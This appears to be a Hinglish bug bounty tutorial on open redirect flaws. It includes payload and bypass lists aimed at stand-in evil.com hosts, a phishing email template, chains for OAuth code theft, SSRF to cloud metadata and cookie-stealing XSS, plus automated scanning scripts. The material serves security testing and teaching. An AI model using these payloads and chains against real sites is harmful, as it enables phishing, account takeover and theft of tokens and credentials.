Aaj Kya Seekhenge?

  • Open Redirect kya hai bilkul basics se
  • Kahan dhundhen input points
  • Bypass techniques elite level
  • Impact chains phishing, OAuth bypass, SSRF
  • Automated + Manual testing
  • Complete bug bounty workflow

Kyun zaroori hai? Open Redirect akele $100-$500 bounty deta hai lekin SSRF ke saath, OAuth bypass ke saath, ya phishing chain mein yeh Critical ban jaata hai! Ek simple parameter se account takeover possible hai!

Open Redirect Kya Hai? Simple Analogy

Socho ek Trusted Receptionist hai company mein:

Normal:
Visitor: "Mujhe Conference Room A le chalo"
Receptionist: Conference Room A le jaata hai βœ…

Open Redirect:
Attacker: "Visitor ko yahan se evil building
           mein le jaao" β€” forged note
Receptionist: "Theek hai!" β€” blindly follow karta hai! 😱

Problem:
β†’ Visitor ne trusted company ka naam dekha
β†’ Socha legitimate redirect hai
β†’ Actually evil site pe pahunch gaya!

Website mein:

Legitimate URL:
https://trusted-bank.com/login?next=https://trusted-bank.com/dashboard

Attacker ka URL:
https://trusted-bank.com/login?next=https://evil-phishing.com

β†’ User trusted-bank.com ka link dekhta hai
β†’ Click karta hai β†’ evil-phishing.com pe redirect!
β†’ Apna password enter karta hai! 😱

PART 1: Kahan Dhundhen Parameter Names

# ─── COMMON REDIRECT PARAMETERS ──────────
?next=
?url=
?redirect=
?redirect_url=
?redirect_uri=
?return=
?return_url=
?returnUrl=
?returnTo=
?goto=
?dest=
?destination=
?target=
?link=
?to=
?ref=
?location=
?continue=
?forward=
?go=
?r=
?redir=
?out=
?view=
?callback=
?from=
?exit=

# ─── OAUTH/SSO SPECIFIC ──────────────────
?redirect_uri=
?callback_url=
?post_logout_redirect_uri=
?success_url=
?error_url=
?after_login=
?after_logout=

# ─── HTTP HEADERS ─────────────────────────
Referer: header
Location: response header

PART 2: Basic Payloads Test Karo

Basic Test:

# Pehle apna server setup karo:
# Interactsh ya simple Python server:
python3 -m http.server 8888

# Basic payloads:
?next=https://evil.com
?url=https://evil.com
?redirect=https://evil.com
?redirect_uri=https://evil.com

# Agar redirect hota hai β†’ Open Redirect confirmed! βœ…

Variations Try Karo:

# Protocol variations:
?url=https://evil.com
?url=http://evil.com
?url=//evil.com          ← Protocol-relative!
?url=\/\/evil.com
?url=\\evil.com

# JavaScript protocol:
?url=javascript:alert(1)  ← XSS bhi possible!
?url=data:text/html,<script>alert(1)</script>

PART 3: Bypass Techniques Elite Level!

Bypass 1: @ Symbol Trick

# Browser URL parsing:
https://trusted.com@evil.com
β†’ Browser evil.com pe jaata hai!
β†’ User sirf "trusted.com" dekhta hai URL mein!

?url=https://trusted.com@evil.com
?redirect=https://target.com@evil.com

Bypass 2: Subdomain Confusion

?url=https://evil.com.target.com
# Agar server check kare "target.com" string
# β†’ evil.com.target.com bhi pass ho jaata hai!

?url=https://target.com.evil.com
?url=https://evil-target.com
?url=https://evilXtarget.com

Bypass 3: URL Fragment

?url=https://evil.com#target.com
?url=https://evil.com#.target.com
?url=https://evil.com/.target.com
# Fragment ke baad target.com β€” filter bypass!

Bypass 4: CRLF + Whitespace

?url=https://evil.com%09
?url=https://evil.com%0a
?url=https://evil.com%0d
?url=https://evil.com%00
?url=%20https://evil.com
?url=%0ahttps://evil.com

Bypass 5: Double Slash

?url=//evil.com
?url=///evil.com
?url=////evil.com
?url=https:///evil.com
?url=/\evil.com
?url=\/evil.com

Bypass 6: URL Encoding

?url=https%3A%2F%2Fevil.com
?url=https%3A//evil.com
?url=%68%74%74%70%73%3A%2F%2Fevil.com
# Double encoding:
?url=https%253A%252F%252Fevil.com

Bypass 7: IP Address

?url=http://1.2.3.4         β†’ IP directly
?url=http://0x1.0x2.0x3.0x4 β†’ Hex IP
?url=http://16909060         β†’ Decimal IP of 1.2.3.4

Bypass 8: Open Redirect via Referer

GET /logout HTTP/1.1
Host: target.com
Referer: https://evil.com

# Logout ke baad Referer pe redirect kare?
β†’ Open Redirect via header!

PART 4: Impact Chains Yahan Asli Power Hai!

Chain 1: Open Redirect β†’ Phishing

Step 1: Open Redirect dhundho:
https://trusted-bank.com/login?next=https://evil.com

Step 2: Evil site banao β€” trusted bank jaisi dikhti ho

Step 3: Email bhejo victim ko:
"Your account is compromised!
Click here to secure: https://trusted-bank.com/login?next=https://evil.com"

Step 4: Victim:
β†’ URL mein trusted-bank.com dekhta hai βœ…
β†’ Click karta hai
β†’ Evil site pe redirect hota hai
β†’ Password enter karta hai β†’ STOLEN! πŸ’€

Impact: High β†’ Critical!
Bounty: $500-$2000

Chain 2: Open Redirect β†’ OAuth Token Steal CRITICAL!

OAuth flow normal:
1. User β†’ "Login with Google" click karta hai
2. Google β†’ target.com/callback?code=ABC pe redirect karta hai
3. target.com code se access token leta hai

OAuth + Open Redirect attack:
1. target.com/oauth/start?redirect_uri=https://evil.com dhundho
2. Google ko lagta hai legitimate redirect_uri hai
   (kyunki target.com ne register kiya tha)
3. Google β†’ evil.com?code=ABC pe redirect karta hai!
4. evil.com code steal karta hai
5. Google account access! πŸ”΄

Yeh = Critical! Account Takeover!
Bounty: $3000-$10000+

Chain 3: Open Redirect β†’ SSRF

Agar server-side redirect follow karta hai:

?url=https://trusted.com/redirect?to=http://169.254.169.254/

Step 1: target.com/fetch?url=https://trusted.com/redirect?to=...
Step 2: Server trusted.com pe jaata hai
Step 3: trusted.com redirect karta hai β†’ 169.254.169.254
Step 4: Server follow karta hai β†’ AWS Metadata!

Open Redirect + SSRF = Critical!

Chain 4: Open Redirect β†’ XSS

?next=javascript:alert(document.cookie)
?url=data:text/html,<script>alert(1)</script>

# Agar JavaScript protocol allowed hai:
β†’ XSS execution!
β†’ Cookie steal!
β†’ Account takeover!

PART 5: OAuth redirect_uri Special Attention!

Bug bounty mein sabse valuable Open Redirect!

Normal OAuth:
POST /oauth/authorize
redirect_uri=https://target.com/callback

Attack β€” Exact match bypass:
redirect_uri=https://target.com/callback?next=https://evil.com
# Agar server only prefix check kare β†’ Bypass!

redirect_uri=https://target.com.evil.com/callback
redirect_uri=https://target.com/callback/../../../redirect?url=evil.com

Path traversal bypass:
redirect_uri=https://target.com/oauth/../open-redirect?url=evil.com

# Agar bypass hua:
β†’ OAuth token evil.com pe jaayega
β†’ Account takeover!
β†’ Critical bounty!

PART 6: Automated Testing

Tool 1: Waybackurls + grep Fastest Method

# Redirect parameters dhundho historical URLs mein:
gau target.com | grep -iE \
  "next=|url=|redirect=|return=|goto=|
   dest=|destination=|target=|redir=|
   redirect_uri=|callback=" \
  > redirect_params.txt

echo "Redirect params: $(wc -l < redirect_params.txt)"

# Test karo:
cat redirect_params.txt | \
  qsreplace "https://evil.com" | \
  httpx -silent \
  -location \
  -mc 301,302,303 | \
  grep "evil.com" > open_redirects.txt

Tool 2: Nuclei Open Redirect Templates

nuclei -l targets.txt \
  -t ~/nuclei-templates/vulnerabilities/generic/open-redirect.yaml \
  -o redirect_found.txt

nuclei -l targets.txt \
  -tags redirect \
  -o nuclei_redirects.txt

Tool 3: Custom Python Tester

#!/usr/bin/env python3
# open_redirect_test.py

import requests
import sys

TARGET_URL = sys.argv[1]
EVIL_DOMAIN = "https://evil-test-12345.com"

PAYLOADS = [
    EVIL_DOMAIN,
    f"//{EVIL_DOMAIN.replace('https://','')}",
    f"///{EVIL_DOMAIN.replace('https://','')}",
    f"https://trusted.com@{EVIL_DOMAIN.replace('https://','')}",
    f"{EVIL_DOMAIN}#.trusted.com",
    f"javascript:alert(1)",
    f"%2F%2F{EVIL_DOMAIN.replace('https://','')}",
    f"https:////{EVIL_DOMAIN.replace('https://','')}",
]

PARAMS = ["next","url","redirect","return",
          "goto","dest","redir","target",
          "redirect_url","returnUrl","continue"]

print(f"πŸ” Testing Open Redirect: {TARGET_URL}\n")

for param in PARAMS:
    for payload in PAYLOADS:
        test_url = f"{TARGET_URL}?{param}={payload}"
        try:
            r = requests.get(
                test_url,
                allow_redirects=False,
                timeout=5,
                verify=False
            )
            location = r.headers.get("Location","")
            if "evil-test" in location or \
               "javascript" in location.lower():
                print(f"πŸ”΄ FOUND! Param: {param}")
                print(f"   Payload: {payload}")
                print(f"   Location: {location}")
                print(f"   URL: {test_url}\n")
        except:
            pass

PART 7: Complete Elite Workflow

#!/bin/bash
# open_redirect_hunt.sh

TARGET=$1
DIR="redirect_${TARGET}"
mkdir -p $DIR

echo "πŸ”€ Open Redirect Hunt: $TARGET"
echo "════════════════════════════════"

# Step 1: Historical URLs se redirect params
echo "πŸ“‘ Finding redirect parameters..."
gau $TARGET | grep -iE \
  "next=|url=|redirect=|return=|goto=|
   dest=|redir=|redirect_uri=|callback=" | \
  uro > $DIR/redirect_urls.txt
echo "βœ… URLs: $(wc -l < $DIR/redirect_urls.txt)"

# Step 2: Live check
cat $DIR/redirect_urls.txt | \
  httpx -silent -mc 200,301,302 \
  > $DIR/live_redirects.txt

# Step 3: Payload inject + test
echo "πŸ’‰ Testing payloads..."
cat $DIR/live_redirects.txt | \
  qsreplace "https://evil.com" | \
  httpx -silent \
  -follow-redirects \
  -location \
  -mc 301,302 | \
  grep "evil.com" > $DIR/open_redirects.txt

# Step 4: Nuclei scan
nuclei -l $DIR/live_redirects.txt \
  -tags redirect,open-redirect \
  -silent \
  -o $DIR/nuclei_redirect.txt 2>/dev/null

# Step 5: OAuth redirect_uri check
echo "πŸ”‘ OAuth redirect_uri check..."
gau $TARGET | grep -iE \
  "redirect_uri=|callback_url=" | \
  uro > $DIR/oauth_redirects.txt

echo "════════════════════════════════"
echo "πŸ“Š Results:"
echo "Redirect URLs    : $(wc -l < $DIR/redirect_urls.txt)"
echo "Open Redirects   : $(wc -l < $DIR/open_redirects.txt)"
echo "OAuth URIs       : $(wc -l < $DIR/oauth_redirects.txt)"
echo "Nuclei Findings  : $(wc -l < $DIR/nuclei_redirect.txt)"
echo "Results in       : $DIR/"

Open Redirect Cheat Sheet

# ─── BASIC PAYLOADS ───────────────────────
?next=https://evil.com
?url=//evil.com
?redirect=\/\/evil.com

# ─── BYPASS ───────────────────────────────
@evil.com          β†’ https://trusted.com@evil.com
#evil.com          β†’ https://trusted.com#evil.com
%09evil.com        β†’ Tab character
%0aevil.com        β†’ Newline
///evil.com        β†’ Triple slash
javascript:alert(1) β†’ XSS via redirect

# ─── OAUTH BYPASS ─────────────────────────
redirect_uri=https://target.com/callback?url=evil.com
redirect_uri=https://target.com.evil.com
redirect_uri=https://target.com/../redirect?to=evil.com

# ─── CHAINS ───────────────────────────────
Open Redirect + Phishing  β†’ Social engineering
Open Redirect + OAuth     β†’ Account Takeover!
Open Redirect + SSRF      β†’ Internal access!
Open Redirect + XSS       β†’ Cookie steal!

# ─── TOOLS ────────────────────────────────
gau + grep + qsreplace + httpx β†’ Automated
nuclei -tags redirect          β†’ Templates
Manual Burp testing            β†’ Bypass test

Bounty Impact Guide

🟒 Low ($100-200):
   β†’ Basic redirect to external site
   β†’ No authentication context
   β†’ Non-sensitive application

🟑 Medium ($200-500):
   β†’ Authenticated redirect
   β†’ Login flow redirect
   β†’ Phishing potential

🟠 High ($500-2000):
   β†’ OAuth redirect_uri bypass
   β†’ Authentication token exposure
   β†’ SSRF chain potential

πŸ”΄ Critical ($2000-10000+):
   β†’ OAuth token steal β†’ Account takeover
   β†’ SSRF chain β†’ Internal access
   β†’ Admin panel redirect

Aaj Ka Homework

# 1. Waybackurls se redirect params dhundho:
gau hackerone.com | grep -iE "next=|url=|redirect=" | head -20

# 2. qsreplace install karo:
go install github.com/tomnomnom/qsreplace@latest

# 3. Practice:
echo "https://example.com/login?next=https://example.com" | \
  qsreplace "https://evil.com"

# 4. Burp Suite mein manually test karo:
# Koi login page dhundho β†’ next= parameter
# evil.com se replace karo β†’ Redirect check karo

# 5. OAuth apps dhundho:
# "Login with Google/Facebook" wale apps
# redirect_uri parameter test karo

Quick Revision

πŸ”€ Open Redirect  = Unvalidated URL redirect
πŸ“ Find           = next=, url=, redirect=,
                    return=, goto=, dest=
πŸ›‘οΈ Bypass         = @ trick, //, fragment,
                    encoding, whitespace
⛓️ Chains         = + Phishing β†’ Social eng
                    + OAuth β†’ Account takeover!
                    + SSRF β†’ Internal access!
                    + XSS β†’ Cookie steal!
πŸ€– Tools          = gau + qsreplace + httpx
                    nuclei -tags redirect
πŸ’° Alone          = Low-Medium ($100-500)
πŸ’° With chain     = Critical ($2000-10000+)!

Meri Baat…

Ek SaaS app pe maine dekha:

https://target.com/auth/logout?redirect=https://target.com/home

Maine test kiya:

https://target.com/auth/logout?redirect=https://evil.com

Redirect ho gaya evil.com pe! Open Redirect confirmed.

Phishing PoC banaya lekin bounty sirf $200 thiΰ₯€

Phir socha OAuth bhi hai is app mein!

https://target.com/oauth/google/callback?
  redirect_uri=https://target.com/auth/logout?redirect=https://evil.com

Google OAuth token β†’ target.com β†’ logout β†’ evil.com!

Token URL mein tha evil.com pe Google OAuth code mil gaya!

Account Takeover chain complete!

Bounty: $3,500 Critical! πŸŽ‰

Lesson: Open Redirect akele weak hai lekin chain banao aur value 10x ho jaati hai!

Agle article mein Authentication Bypass Login page ko bypass karo, Admin bano, Tokens exploit karo! πŸ”₯

HackerMD Bug Bounty Hunter | Cybersecurity Researcher GitHub: BotGJ16 | Medium: @HackerMD

Previous: Article #21 Backup Files Exposure Next: Article #23 Authentication Bypass: Login Bypass Se Admin Tak!

#OpenRedirect #BugBounty #WebSecurity #EthicalHacking #Hinglish #OAuthBypass #HackerMD